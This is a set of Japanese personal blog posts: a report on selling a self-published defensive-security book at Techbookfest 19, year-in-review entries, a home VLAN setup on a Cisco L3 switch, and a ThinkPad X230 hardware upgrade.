技術書典19 サークル参加記

お久しぶりです。

この度初めて同人誌を執筆し、技術書典19でサークル参加までしました。
せっかくなので熱が冷めないうちにサークル参加記としてブログにしたためようと思います。 そろそろ今年も終わりに近づいてきましたが、今年のハイライトと言っても過言ではない経験でした。 ちなみに売った本はこれです。刺さりそうだったらぜひお手にとってご覧下さい。 techbookfest.org

経緯

まず、同人誌を書こうと思ったのは...なぜか(ネットリ)
元々技術について本を書いて世に出すことに対して憧れがありました。 技術書典自体は継続的にチェックしていて、買った同人誌を楽しみつつも、「僕も書きたいんだよな〜つってもページ稼げるほどのネタがないしなぁ」というのを無限にやっていました。 そんなこんなで時は流れ2025年、日曜エンジニアの成果がまとまってきたので文書にしているとかなりの文量があることがわかりました。これは...ちゃんと練れば同人誌ってやつが書けるんじゃないか...と思い至ります。
その頃技術書典19のサークル募集が始まったので思い切って応募してみてやりきったという感じです。

マスタスケジュール

だいたいこんなスケジュールでした。

  • 2~ 9月 ネタの仕込み(実装や検証、その記録)
  • 9~10月 執筆
  • 10~11月 書類審査や印刷所への入稿などのイベント準備

ネタの仕込みは結構構想段階から紆余曲折あり、考えるだけならもう少し前からぼんやり頭にはありました。 ネタの仕込み~執筆に関するこだわりなどは、別途技術書執筆自体の感想でも書こうと思います。 ここで書くと主題がぶれそうですし、何よりまだ技術書典はオンライン開催期間中です。 著者自らネタバレみたいな真似を率先して行ってもしょーもないですしね。

イベント準備

スケジュール

技術書典は電子版の用意が必須であり、電子版の審査もあります。
そのため、電子版の審査が通過し、売って問題ない書籍だと担保できたことを以て校了として、印刷所へ入稿しました。
運営側は「直前まで執筆を応援します!」と言ってくれてはいましたが、初参加...個人...同人誌執筆も初...リカバリーが効くか普通に怖い。
初参加なので既刊でお茶を濁すこともできないため、この新刊の準備がちゃんとできないことはすなわちイベジャーを意味します。
そういう不安もあって、結構真面目に手順を踏み、スケジュールはかなりのマージンも取りました。
今になって思えば、あと1週間くらいは執筆にかけてもよかったですが、印刷所の早期入稿割引との兼ね合いからすればこんなものでしょう。

  1. サークル応募→当選
  2. 電子版登録・書籍審査(オフライン1ヶ月前くらい)
  3. 書籍審査通過・印刷所への入稿(オフライン3週間前くらい)
  4. 技術書典サイトでの電子版の公開

サークル設営準備

これが困るわけです。何を準備していけばいいのかまるでわからん。
ただ技術書典運営は神で、テーブルクロスや新刊シール、カードスタンドなどさまざまな小物は準備してくれるんですね(しかも無料!)。
至れり尽くせりでありがてぇ...
これで最低限は揃うので、残りは自分のブースに要りそうなものを揃えます。

当日持っていって使ったもの

大体100均で買えますがブックスタンドは3Dプリンタで印刷しました。

  • クリアブックカバー:見本誌の保護
  • ブックスタンド:見本誌をおいておく
  • おしながき、かんたん後払いQRコード(A4印刷)
  • ポップスタンド:おしながきとQRコードを吊る
  • ミニスタンド:残り部数の表示
  • ホワイトボードマーカ:ミニスタンド記入用
  • マスキングテープ :クロスの固定など
  • カッター:段ボールを開くため
  • サインペン:おしながきに書き込み

事前にサークルごとに用意されているQRコードは少し小さいのでPOPスタンドで吊っていましたが、ほとんどのお客さんが正規(?)のQRコードを読んで決済をしていてあまり使われませんでした。
まぁ「かんたん後払いはこちら」というメッセージとともにQRコードだけ書いてある紙は怪しいですからね。まともなデザインが必要だったかもしれません。

おしながき作成に関してはCanvaが神でした。(本書の表紙もCanvaでつくっています)
最初はGoogle slideで描いていたもののセンスの欠如が果てしなく、安っぽすぎて頭を抱えていたところに、彗星のごとく現れてイケてる背景を一瞬で生成していきました。
実際に出来上がったものがこちら。

書影と値段の他に本の紹介文を書こうと思ったのですがあんまり宣伝文句みたいなことを書くのは恥ずかしかったし、くどくど書くのも主義に反するのでシンプルにコンセプトだけ一言書いて、扱う技術要素を並べることにしました。 今回出した本は実装や検証で手を動かすタイプの同人誌であることは明らかなので、何を扱うのかがパッと見てわかった方が生きて素早く読者に届くと思ったからです。*1

そういう体験もあり、表紙やおしながきといったまず目に入るところでサボってはいけないというのは実感しました。
表紙もサイバー感があり、ディフェンス側の技術ということで硬派な印象でかっこよくなるように意識しましたしね。 おしながきをGoogle slideで絶望的なセンスのデザインでポスターを描いているときに「もうこれでいいかなぁ、いいよねぇ!?」となる中、頭の中でラーメンハゲが警鐘を鳴らしていました。

いいものなら売れるというナイーブな幻想をぶち殺す芹沢さん
いやまぁ、販売前まで同人誌がいいものであるという自信もなかったので、これで広告も投げやりにしたら何なら良いものをつくれるんだよ、という感じですが。
実際こういう配慮がよかったのか、それは購入いただいた読者のみぞ知るところなので僕は要因を想像するしかできないわけですが、ボツ案は今見てもひどいので採用したときを思うと若干薄ら寒いです。
なんにせよ雑なプロモーションは売り物の価値を毀損しかねないので真面目にやれという教訓を得ました。

あったらよかったなーと思ったもの

  • 現金対応のための電子版ダウンロードカード
  • 名刺
  • オタク

決済手段は技術書典の運営がアプリを用意し「かんたん後払い」という手段での決済が推奨されているのでこれでいっかと思っていました。
ほぼかんたん後払いを使っていただけたのであまり問題はなかったように思いますが、現金対応はあったほうがいいかもなぁと思いました。
今回、電子版は技術書典のサイトでしか扱っておらず、一方で紙だけの販売は技術書典サイトでは設定できません。
「紙本だけを紙+電子と同じ値段で売ってしまうのはいかがなものか...」とか色々考え、今回は準備が整わなかったので、「かんたん後払いのみ」としました。
技術書典と同じ媒体の「電子+紙」が現金でも払えると嬉しいですよね...。ダウンロードサイトの用意とかどうしたらいいんだろう...

続いて名刺です。ありがたいことに今回紙版は完売しているのですが、「増刷されたら知りたいので情報発信している媒体を教えてくれませんか?」と訪ねていただいたケースが数件ありました。
もはや用意することすら頭になかったのですが次回イベントに参加することがあれば持っていきます。
そしてオタクです。昼食も取らずに朝から夕方までほぼサークルブースにいたわけですが、最後は技術書典の来場者を信用しきって、ブースに1人しかいないにもかかわらず紙本完売後に技術書を物色するために離席しました。
店番くらい用意したほうがいいし昼食はとったほうがいい。

イベント当日

さてイベント当日、無事サークル参加者入場時間に間に合い、各サークルがブースの準備を始めました。 だんだん出来上がっていく周りの設営、そしてスタッフが見回りを始め準備できたサークルをチェックするあの「これからイベントが始まる」という雰囲気はとてもワクワク感に溢れていました。 僕が普段行くオタクイベンツも準備できていく過程はこんなワクワク感があるんだろうなとぼんやり思いながら設営していました。 そうそう、箱を開けた時、入稿した本が出来上がっているのを見たときは感動しました。
今回 ねこのしっぽさんに印刷をお願いしていたのですが、きれいに印刷してくれた上イベント会場まで運んでくれて大感謝です。

個人、新刊のみ、設営もシンプルな物品のみだったので爆速で設営が終わり、周りのサークルの設営を見ていたんですが、やっぱり一般参加者のときとは視点が変わるので用意する物品など気づきが多かったですね。 次回参加のときは参考にしようと思う点がいっぱいありました。

そして参加者の入場時刻

「いやこれ売れんのかなぁ。周りのサークルが売れるのを見ながら自分のサークルだけずっと減らないとマジでいたたまれないよなぁ」と思ってましたし、実際売れ残らないように控えめな発行部数にして最悪自分で持ち帰ることができるようにデカいリュックで来ていました。自信がなさすぎる。200部も刷っていませんが、僕の前に積まれた同人誌の束は、カンヤ祭で古典部が用意してうず高く積まれた氷菓の束に見えていました。

氷菓#12「限りなく積まれた例のあれ」

開始から30分経った頃、「あれ、案外売れてね?」となりもう一束を机に並べます。
その後も割と売れていく...よかった、ワイワイ感から疎外されたサークルになっていない...。と安心していたのですが、1時間もすると「あ、やべえこれ紙版絶対足りない」という確信めいた逆方向の不安がやってきました。
想定外の売れ行きに、残り部数をツイートする間もなく、2時間で完売してしまいました。マジ!?
余る方は予想していたんですが足りない方は本当に全く予想していなかったので、あまりに予想外のできごとを前に「その場で印刷とかできないかなぁ」などと支離滅裂な思考を働かせている間にもブースには来場者がやってきます。
多くの人に求められて嬉しい反面、売れ行き予測が悲観的すぎたことで需要に答えられなかったのが申し訳なくなってきました。
その他にも見本誌を読んでいった方から非常に嬉しい感想をいくつもいただいて、ちゃんと人に刺さるものになっていたんだという実感が徐々に湧いてきました。
名刺が要るなと思ったのもこのあたりからです。ついでにいうと自分のホームページとかがあればいいと思ったので、github pagesでも使ってサイト作るかなどと思っています。

そしてイベント終了。
物理本は完売、デカリュックできたのも杞憂に終わり足取りもリュックの中身も軽く会場を後にしかけたところで、技術書店がまだ空いているのを見つけたので、滑り込みで気になっていたラムダノートさんの書籍を購入して帰りました。 自サークルの周囲の技術書は数冊物色できましたが、遠い島は撤収していたり、無人電子販売をしている自分のスペースが気になってすぐ帰ったりを繰り返していて満喫できませんでした。ぐぬぬ......

おわりに

まずなにより、自分で書いた技術書を売って反応がもらえるのは超楽しかったです。なんというか自分も生産者としてお祭りに一枚噛めた気がして充実感がありました。
そして、準備を整えてくれた運営や印刷所、ブースにきて反応をくれた読者のみなさん、ありがとうございました!
好意的なコメントが嬉しすぎたので忘れないよう一部ブログに残しておくと、「自宅につくるというコンセプトが良くて、実際手元に作れると楽しそう」「読み通したら勉強になりそうなのでチャレンジしてみたい」「あんまりこういうことやっている解説は見ないからすごい」「(紙本完売後に)実際的だし人気が出るのがわかる。増刷してほしい」という声をいただきました。嬉しすぎる(大事なことなので2回言う)。
自分でコンセプトから決めて技術検証して書き上げた本が数多のオタクに評価してもらえるというのは自信になりますね。
今回は結構渾身の一撃というか、個人的には割と厳し目に見てよーーく練ってからつくった本だと思っているので、同じくらいリソースを傾けてなおかつ人に刺さる本にできるかわかりませんが、新刊を作るモチベになりました。
なにより、自分の技術を本にして売るのはたのしい!!
近いうちに新刊作ってまた出たいなーと思っています。(ちゃんとできあがれば既刊も増刷して持っていきたいです。)
それでは。記事公開現在まだまだ技術書典19は開催中なので、よき技術同人ライフを!

エピローグ:納本編

さて、オンラインマーケットはまだまだ開催中なわけですが、本書も例によって国会図書館に納本をしに行きました。*2
これで会場にきていなかった人でも見本誌を閲覧できるってわけです。
ちなみに技術書を出した理由の半分です。 まぁそれが冗談だとしても、納本したかったからこそ、様になるように本のクオリティを上げようとする努力ができたってもんです。
黒歴史は半永久的に保存するに限るし、そもそも義務となっているのでね。
納本制度の概要|国立国会図書館―National Diet Library

「もし私がいなくなっても、同人誌は残るからさ」
君の言葉が、インターネットの海にこだまし続けている──*3

*1:来場者の様子を見ていると、おしながきを見てフムフムという感じで見本誌を見ていった方も多く、友人と来ていた方も「あ〜SIEMもやるのね、これ見てっていい?」という会話をしていたりしたので、奏功したように思います。

*2:休日に行ったからか窓口が閉まっていたので、インフォメーションセンター預かりで一旦受け取るだけ受け取ってもらいました。

*3:言いたかっただけです。みなさんも星宮とと+TEMPLIME「TIMESURF」を聴きましょう

2024年を振り返る

今年も終わりなので例によって(といいつつ2023年やってないんですね)書こうと思います。なお今年も何も成していません こういうのってもっと色々テーマ別に頻繁にブログを書いていったほうが良いんじゃね?と思わんこともないんですが気づいたときには年末になっています。ではではタイプライターも引っ張り出して気分はもう自動手記人形なので、早速ごった煮の振り返りをやっていきます。そのころ取り組んでいた技術、読んでいた本、はまった音楽、参加したイベント、全部書きます

1月

このころはメール、特に送信者認証技術に関心がありました。きっかけは忘れましたがgmailガイドラインが変更されてSPF/DKIM/DMARCの実装が急がれる時期だったので耳に入ってきやすかったんだと思います。そんなわけでpostfixdovecotを立てて、私が持っている自前ドメインでメールの送受信ができるようにサーバを構築して遊んでいました。メールログの出力だったりソフトウェアの設定をいじって挙動が変わる様子を見られてなかなか面白かったです。送信者認証用のDNSレコードの設定もだいぶ理解が進みました。なお、基本自前のメールサーバは使わないので、ひとしきり遊んだら構築の方法だけまとめてサーバは潰しました。メールサーバはスパム対策もしんどいので...。
また、旅行で山形と福島に行きました。毎回休暇をとってから予定を立てるので色々突貫で準備するんですが、やはり冬なんで雪国に行ったろうということで北を選びました。温泉地なのと近くで樹氷が見られるという話で山形は蔵王へ。樹氷はかなり壮観でした。木が雪で覆われるくらい寒いところまで行くのでかなり標高も高くとんでもなく寒い場所だったんですが、行った甲斐がありました。写真を取るために手を大気に晒したら数秒でかじかむほどの極寒だったんですがあまりの景色に長居してしまい、下山してからすぐ宿の温泉に駆け込みました。

そして山形へは新幹線で行ったので、帰りも新幹線はもったいなかろう(???)ということで、在来線で変えることにしたんですが、途中の郡山あたりですぐ帰るのがもったいなくなって日本海側へ向かってみるかと思ってぐいっと進路を変えました。というのも、只見線に乗ってみたかったんですよね。数年前にやっていた「鉄オタ道子、2万キロ」という深夜ドラマがボケっと見られる感じで結構気に入っていたんですが、そこに出てきた秘境駅ってやつに行ってみたくて。思い立った日はもう電車がなかったので、磐梯熱海というところに泊まって次の日に行くことにしました。泊まったのはたまたまだったんですが、この磐梯熱海温泉むすめがいたんですね。観光案内所にグッズがめちゃくちゃおいてあって可愛かったのでアクキーを買いました。なお翌日、風がむちゃくちゃ強くて警報が出たので只見線を断念して普通に在来線で帰りました、無念...。
あとSLIMの月面着陸がありましたね、配信にかじりついて見てました。

読んだ本

2月、3月、4月

なんといってもH3ですね、心からの賛辞を。あとデカいイカが飛びましたね、毎度驚かされている気がしますが迫力がありました。
この頃はほとんど資格試験対策やってたので特に面白いことはしてません。たぶんTuring CompleteでTuring Completeまではやった気がします。 あと、あまり音楽シーンには詳しくないのでなんていうジャンルなのかは知らないんですが KOTONOHOUSE、TEMPLIME、星宮ととといったトラックメーカーの音楽にものすっごいハマりました。もともとイノタクのDJを聞きたいな〜と思っていて、そのあたりの曲を聞いていたらランダム再生で流れた曲が見事刺さり、早速周年What'sに足を運びました。無条件でノリノリになれるメロディーは聞いてて楽しいです。

読んだ本

ハッカーと画家、数ヶ月前に読んだんですがこの一節は強烈に覚えています。個人的にかつてのセンスを失っている感覚があったので妙に刺さりました。この頃の資格試験対策にまみれた休日を振り返って、再びパソコンに向かう起爆剤を得たのでした。また読み返したい

何かをうまくやるためには、それを愛していなければならない。 ハッキングがあなたがやりたくてたまらないことである限りは、それがうまくできるようになる可能性が高いだろう。 14歳の頃に感じた、プログラミングに対するセンス•オブ•ワンダーを忘れないようにしよう。 今の仕事で脳味噌が腐っていってるんじゃないかと心配しているとしたら、多分腐っているよ。

5月、6月

東京都薬用植物園へケシの一般公開を見に行きました。けしの花ってかなりきれいなんですね

あとGOLD DISCに行きました。すっかりデカイ音を浴びる楽しさに目覚めました。
技術的なトピックとしては、6月末頃からはCPUの気持ちを理解しようと頑張り始めた時期です。定期的にやってくるCPUとなかよくなりたい気分なんですが、今回は仕組みだけでなくきちんと実装に近いこともやろうと思い、RV32Iを実装してみることにしました。「RISC-Vで学ぶコンピュータアーキテクチャ 完全入門」という書籍がステップバイステップでCPUを作っていく感じで仕組みの理解がかなりしやすくとてもおもしろく読んでいました。verilogソースコードも載っているのでこのとおりに書いて写経していくというのもありだったんですが、2,3,4月に書いたとおり全然プログラムを書いていなかったんですね。なんとなく焦燥感があって、同じことをやる普通のプログラムでも書いてみるか、となりRustで同じロジックを書いていくという作業を始めました。書いてさくっと実行できて、仕様の理解という目的は外しませんし、あえてRustのいろんな機能を使ってコードを書いていくという作業をすることでプログラミングのリハビリをやっていました。最初はプログラミングのリハビリという目的を帯びていたこの開発ですが、まぁ最終的には普通にFPGAボードなんかで1人版ショボCPU実験とかやってもいいな、みたいな気分になるんですよね(わかっていたことではありますが)。そのうち、FPGAにもちゃんと入門して実際に動くハードウェアとしてのCPUをつくってみるつもりでいます。

読んだ本

7月、8月

平日が異常に忙しくしており、休日はちまちまと6月の続きをやっていました。気が狂いそうだったのでこの時期からコンテンツの摂取量が増えたのですが、その流れでこの後の小説の消費量が増えています。映画も普段からしたら結構見るようになりました。夏はフライミートゥーザムーンが面白かったです。
あとはkernel/vmを初めて現地で聴講しました。なんやかんや、現地にいるほうが体験としてはいいのでまた行って話を聞きたいです。
8月の末は石垣島に旅行に行きました。一人で無限に島内や近隣の離島を回るという計画でひたすら島をさまよいました。VERA石垣島観測局にも赴いて電波望遠鏡を間近で見るなどしていて、たまたまローテータが派手に動くタイミングに居合わせたのですが、結構速く動くので迫力がありました。

読んだ本

9月

NT東京とMFTに行きました。先輩と行ったんですが、こういうイベントのときに面白い質問をしてブースの人に圧倒的な情報量を提供してもらえるような質問力を身に着けたいという話になって「わっかるぅー」となっていました。ものづくり系のイベントは見るの自体も好きなのであれば行くんですが、採用されている技術についてもっと深く知っていれば、モノの仕組みや、他のものと比較して「こういうところが難しいですよねー」みたいな会話ができるとより楽しめるはずだと思いつつ、毎回知らないことが増えるのでメモして帰ってくることになっています。k/vmあたりからよく知らない単語やちょっとした感想は雑メモに残しておいて、暇なときにネットサーフィンすると言う習慣がつきました。MFTではよく物を見てなんとなく気になったことを聞いてみたりして、開発者の方とお話することができたので若干の成長がありました。まぁそれはそれとして、両イベントともに楽しかったです。魔改造の夜の影響でそこかしこに電マ駆動モービルが爆走していて笑いました。
この時期L3SWを家に導入して今の家庭用ルータ単騎体制よりは複雑なネットワークが家の中で組めるようになったのでラボ環境などが構築しやすくなったと思います。異なるVLANから選択的にインターネットアクセスを許可したいときの構成を考えていたのですが「結局ルータと同じVLANにプロキシ立てるのが一番ラクなんじゃね」と思い至ったので、ミニPCを買って仮想化基盤を構築して行こうかなと構想中です。

家にL3SWを導入した - 自由帳

読んだ本

10月

暴力的にカワイイに行きました。野外でいろんなエリアを自由に見ながら昼から晩までノリのいい曲を浴び続けるのは本当に楽しくて動画をバシバシとってました。最後らへんのPSYQUIがあまりにもよくて、一帯が盛り上がりすぎてまさにお祭りでした。年のはじめにはまってからいろんな曲を開拓していったのもあって知っている人が増えたのもプラスに働き、周年What'sのときよりも楽しめた気がします。雰囲気を味わうために買った現地の酒は不思議な味がしました。
また、10月は一般公開シーズンだったので各種研究所に見学に行く予定を立てていました。風邪を引いたせいで三鷹国立天文台には行くことができず、原科研の核融合炉の見学を申し込んだところ見事チケットがご用意されず落胆していたんですが、JAXAつくばには行くことができました。電波望遠鏡の中央管制室がつくばにあり、普段は職員も入室制限がかかっているらしいのですが一般公開してくれるというコンテンツの充実ぶり。13mチャンバーや振動試験、音響試験の設備などもガラス越しに見られてスケールの大きさに見入ってしまいました。(私はCubeSatクラスの試験設備しか生で見たことがなかったので...)。ポスターセッションブースでは最近のJ-SSOD放出の状況などを聞いたり、理学系の研究について「なんもわからん」って思いながらとりあえずガチの素人質問を投げてブースの人が意味を図りかねて困らせてしまう事案があり反省したりしました。

読んだ本

11月

一般公開シーズンも終盤になり、最後は理研神戸まで富岳を見に行ってきました。かなりきれいなデータセンターだったのと、水冷が冷却能力の9割ほどを担っているせいか相当静かだったのを除くと割と普通のデータセンターでしたが細かいところを見ていくとかなり見ごたえがありました。一般に見せてくれているのだから書いてもいいだろうと思いつつ詳細は省きますが、ラックの部材や機器の物理的配置にも細々としたこだわりがあるようでした。全部同じ計算機で構成されたスパコンが24/365でいろんなジョブを稼働させているので保守運用の対応フローも気になっていたのですが職員さんに質問したら色々と教えてくれました。研究紹介ブースでは運用側とは打って変わって、実際に使う側の話を聞いたのですがこれがなかなか低レイヤな話題満載でかなり面白かったです。富岳はARMを採用したアーキテクチャのコンピュータですが、SPARCを採用していた京と比べたときには複素数命令を使う分野では小回りが効かなかったり、レジスタSPARCのほうが多く使い勝手が良かった部分もあったため、場合によってはハードウェアドライバをいじったり、ARMのカスタム命令を作ったりする話を聞きました。完全に計算機をエンジニアリングしていて、物理の計算機シミュレーションとは明らかに違うことをやっている話を私は面白く聞いていましたが本人は当時「なんで計算機のデバッグをやらなあかんねん」という気分でいたことでしょう。
技術書典も行きました。かなりブースの人と楽しく会話できるようになったのを実感しました。パラパラめくって色々質問して本に書いていない細々とした話なども聞けて、「私こういうことを他の人と話したくて本出したんですよね」と言ってもらえた時は嬉しかったです。あとはArchLinuxを普段遣いする本を出しているブースがあり、デスクトップLinuxでArchユーザの私としては立ち止まらないわけにはいかず少し話をしたのですが、他のお客さんともデスクトップ環境の構成について色々語れてなかなか楽しかったです。
この頃からpwn.collegeというサイトでpwnable系のCTFを一度基礎の基礎から学んでみることにしました。dojoというシステムがあり、簡単な課題からステップバイステップで問題を解いていくことができ、少しでも進捗が出るので休日にやる内容としてちょうどいい感じがして気に入っています(わからない問題を解いて何もわからず日が暮れるととても悲しいので)。ボリューミーなので全然終わらないのですがスキマ時間にやっています。

読んだ本

12月

自作OSで学ぶマイクロカーネルの設計と実装というシマエナガの表紙がカワイイ本を読み始めました。今まで本を写経する形で進めていたOS開発ですが、スモールスタートでいいのでOSの機能をなんとか自力でかけるようになりたいなーと思ったので小規模から始められそうというのと「1000行で作るOS」という教材があってスタートの補助がついているので一旦取り組み始めることにしました。
でも12月のトピックとして一番はこれです。 \デーン!/(筐体の写真を撮ると筆者の姿が映り込むので抽象度の高い画像でお送りしております)

ついに3Dプリンタを買いました。
フィラメントをエクスクルーダーにいれるところやタッチパネルをはめ込むところで手間取りましたが、セットアップさえしてしまえばかなりきれいに印刷できました。さーてこれで雑にいろんな物体を量産すっぞ!と思ったのですが致命的な問題が一つ、私の家にはまともに3DCADが動くwindowsマシンがありません。ということでもうそこそこ高額な買い物をしてしまった勢いでwindowsのノートPCを買うことにしました。ノートなのは諸事情あるんですが、安くでそこそこのスペックがあるモデルが見つかってよかったです。というわけで、令和の三種の神器、はんだごて、オシロスコープ3Dプリンタが揃ったのでなんでもできます。来年はいろんなものを作れる一年にしたいところです。 store.creality.com

読んだ本

来年は?

トピックごとにちまちま取り組んで入るのですが、なにか最終的な形にしたものがほしいなと思います。見世物程度でいいのですがプロダクト1品とか、同人誌一冊とか生み出せると良いな...
あとこのブログタイトル、思いつきで作ったせいで適当なまま放置しているのでなんかおしゃれな名前にしたい

家にL3SWを導入した

おうちネットワークをアップデートしよう!

普段こういうのは個人用のHackMDとかに残しているんだけど、ガッッとやってしまったので思い出しつつブログにしてみる。アップデートというほどアップデートでもないのだけどスイッチをいじって思い通りに動いたのが結構楽しかった。

要件

  • 普段利用のLANとラボ用のLANがほしい

  • ラボ用のLANからはインターネットアクセスを禁じられるようにしたい

  • ラボ用のLANのインバウンドはどのLANからも許可したい

とこんなもんである。複雑なことをやるつもりはあまりない。いきなり色々やろうとして理解の範疇を超える黒魔術をしていると後で痛い目を見るのでミニマルスタートで。

ところで何買ったの

Catalyst3560-CX 8ポートです。Ciscoのスイッチといえば紺というか濃青緑(?)のもあるけど白のほうが見た目が好みだった。趣味なのでモチベを上げる色や形にすることは大事。

www.cisco.com

構成

[ONU] -> [Router] -> [L3SW] -> [PCs] よくあるホームネットワークです。いままではルータからPCなどへ直つなぎだったのをL3SWで諸々制御する目論見です。

設定投入

それではやっていき。まぁだいたいこう設定をすればいいだろうという案はこんな感じ

  • ルーティングの有効化
  • telnetの有効化
  • NTPの設定
  • VLANの設定
これで各VLANに属するホストがデフォゲをSVIにむければVLAN間ルーティングができる。
次はインターネットアクセス用の要件。ラボネットワークからはインターネットアクセスを禁じたいとは言ったものの、まぁインターネットアクセス自体はできるようにしておいてACLで制御すればいいよな...と思ってとりあえずすべてのVLANからインターネットアクセスできるようにすることを考えていたけど、今のルータを使っているうちはできなさそうな気がしたので諦めた。スタティックルートは流石に切れるよな⋯と思って色々管理画面を見てみたが  


ぼく「サブインターフェースあります?」  
ルータ「それはないですね」  
ぼく「了解。まぁそうっすよね、じゃスタティックルート切れますか?」  
ルータ「そこになければないですね」    


...ルータってなんだっけ(´・ω・`)


ルータはインターネット向け1レーンバケツリレー装置とみなして設定をしなければならないので、いろいろ考え中⋯   

 



# まとめ/感想
使えるものはできたのでいいかなといったところです。ラボ環境のアップデート系のサムシングがあると面倒だよなぁなどと思って、中継用のホストを建てるか、まともなルータ(FWとかでもいいかも?と思いつつ)を導入することも考えつつ、次の構成を考えるネタにもなって実質プラス。これをやる過程でL3SWのアーキテクチャやルーティングの仕組み、ACLのin out の概念、ホスト側でいうと今までルータのDHCPに頼りきりだったのをホストで固定IPを降る方法などいまさら聞けない系の設定を学ぶことができた。
失敗系の話でいうと、一番しょーもないのはホームLANからインターネットアクセスできなくなってしまって相当焦ったんですがルーティングを有効化していなかったりした。  
あと、VLAN間ルーティングができなくなったときにtracerouteで調べると、別のVLANのSVIへルーティングされず、ルータへルーティングされているので「なんで〜」っていってたら、普通にデフォゲをSVIにしておらず、別のVLANに送りたいicmpがインターネットの彼方へすっとんでいたりした。   
なんやかんや、こうして欲しい環境に合わせて色々わかった上で設定投入して実現させるとこまでできて初めて経験として消化できるなぁと思った。スイッチの使い方としてはかなりベーシックな機能しか使っていないと思うし、コンフィグレーションガイドを見ると他にも色々設定すると面白そうな内容が乗っている。まだまだ週間おうちネットワークは創刊号だし電力と相談して色々環境を整えていきたいところ。  

X230を改造した

昔、僕がメインマシンであったLet's noteを壊していまい修理に出している間、パソコンがなくて微妙に困った。*1というわけで、中古でもいいからサブPCを買おうと電気街へ赴いた。その時買ったのがThinkPad X230だったのだが、これが改造の余地がかなりあってカスタムしがいのあるPCで名機と呼ばれているらしいということを購入後に知った。「買うならThinkPadだよなぁ、なんかかっこいいし」くらいに思っていた*2が、実はいい買い物だったらしい。ちなみに購入時点のスペックはこんな感じ。

CPU:i5-3320M(2.6GMHz)
RAM:8GB
SSD:256GB
ディスプレイ:HD(TN液晶)

その後、Let's noteのディスプレイが保証期間を過ぎてから壊れ、えげつない修理費を要求されたので*3、本格的にX230を使う覚悟を決めた。そこで、メインマシンにこいつを据えるとなると、せっかくだから改造してスペックのいいものにしたくなる。全然使えるスペックではあるのだが、なんとなく...ね。改造もしてみたいし...?ということで、パーツを買う余裕があるときに優先順位をつけてちまちまと実施していった結果、メモリは16GB、SSDは256GB×2、ディスプレイはIPS液晶になって見やすくなるというビフォーアフターを遂げたのでうれしい!という記事。ちなみにX230のハードウェア保守マニュアルはこちらにあるので、これを見ればさくっと改造マスターになれる。

usermanual.wiki

メモリ

多分一番簡単に換装できる。裏面外して取り替えるだけ(DDR3 204ピンSO-DIMM 8GB×2)。メモリ16GBという現代における基本的人権を手にした。

SSD

少し手数が多くなる。キーボード、パームレストの順に外すとmSATAのSSDが入るスロットが見える。保守マニュアルによると当たりを引けばここにはLTEアンテナをつけることができるっぽいのだが、今回はSSDを増設して2次記憶を拡張することに。

スロットにSSDを差し込み起動!BIOSで新たなSSDを認識していることを確認したら、これを論理ボリューム化していい感じに都合に合わせてコネコネできるようにしておいた。論理ボリューム周りの操作はあえて書くほどでもないので、とりあえず安心と信頼のArch wikiを...

wiki.archlinux.jp

ディスプレイ

TN液晶をIPS液晶にした。他のx230改造ブログでも言われているように、視野角が広くなって画面もきれいに見えるので普段遣いするなら体験はかなりよくなる。ディスプレイ周りのフレームを外すときが怖いけど、思い切っていこう。

Q FHD化の夢は見ないんですか?  
A.あまりにやらかしリティが高そうで諦めました。  

さてこれでスペックは以下のように。
CPU:i5-3320M(2.6GMHz)
RAM:16GB
SSD:256GB×2
ディスプレイ:HD(IPS液晶)

CPUは最近のものと比べると少し見劣りするが、だめというほどでもない。RAMとSSDがこれだけついて本体含め5万程度で済むのだからなかなかいい買い物であったように思う。これで僕も10年以上前のモデルのThinkPadをモリモリ改造してLinux入れて使用するといういかにもスーパーハカー気取りなイキリができるようになった。ちなみに、ACアダプタも割と熱を持つのでヒートシンクをくっつけてみた*4ヒートシンクがついているACアダプタを持ってるやつ怖すぎる。ちなみにガワになんかくっついてるとDIY感が増していいなと思った。思ったより簡単に換装できるし、なにより分解して増改築するのは楽しい。最近のマシンと比べるとストレージとRAMは張れるくらいだけど当然CPUは見劣りする。とはいえあまりCPUの性能が足りなくて〇〇ができない、というのは感じたことがないので性能に文句は今のところなく、筐体が重いのだけちょっと気になるくらい(1kgくらいある)。ちなみに、その壊れた生協パソコンと比べてどうなのよという話については、生協パソコンがメモリ8GB、SSD256GB、i5-6200Uだったので、それと比べるとコスパの良さは圧倒的であった*5。なんだかんだ、こうして改造してそれなりのマシンにするのは楽しいのでプライスレスみたいなところもあるし、重いとはいえ重厚感のある真っ黒な筐体は結構気に入ってて愛着も湧いてきたので、大事に使いたいですね

*1:このLet's noteは生協パソコンで、修理は見積してから依頼する流れで修理されて戻ってくるまでに1ヶ月くらいかかる。学部生のときはレポートは紙媒体がメインだったし課題で困ることはないが開発系の課外活動をやっていたので自分のPCはあったほうが良かった

*2:当時Linuxを使ってみたいという欲求もあり、中古のThinkPadLinux積んでるとなんかかっこいいと思って完全に形から入っていた。今は普通にLinuxがメインマシンなのでセーフセーフ

*3:4年間は修理が無料だったので遠慮なく修理に出せた。保証期間がすぎるとディスプレイの修理に7万とかで見積もりが出てくる。生協パソコンは修理無料を活かして遊び倒してうっかりぶち壊して新品と交換するくらいの勢いでないと割に合わない。ただ、それができるのが他にはない強み

*4:つけなくても別に問題があるというわけではない

*5:前述の通り、生協パソコンの最強ポイントはその保証の強力さなのでマシンそのもののコスパで価値は測れない。ただ、x230もCPUとマザボさえ無事なら交換修理もコスパ良く済むとは思う

2022年を振り返る

1月

この辺は研究に忙殺されている。審査会、公聴会の準備と並行して修論を執筆していた...。

2月

修論提出&公聴会DONE。修論の優秀賞をゲット。
やっと少し余裕ができたので、衛星のOSについてThink & Writeを再開していた。
github actionsを触り始め、何度も繰り返すテストはこれでやるようにしてみたりと開発環境にも思いを馳せることに。

3月

修論の修正をして最終版を提出して無事修了。優秀賞をとったので景品をゲットした。
ヒッコシングなど労働者になるための手続きに奔走

4月

労働者となり、今まで目を向けていなかった領域の技術に手を出さなければならなくなったのでこんなことをして遊んでみていた

  • SQLも書けない有様だったのでMariaDBをPCに構築する遊びを同期とやってみてSQLを書く練習をする
  • rustlingsを始める。趣味のパソカタをしていたら余った、使い方に困るちょっとした時間でこの頃からちまちま進め始めた

5月

ニコニコ超会議に行ってISTのロケットを見る。話を直接聞けて、部品もいっぱい見られてかなり面白かった。
まさかニコ超でロケットが見られるとは思ってなかった。

他のブースも見て回ったけどインターネット文化を感じられてとても良かった。
あとニコニコ技術部ファミコンを楽器にしてるやつを生で見られて感動

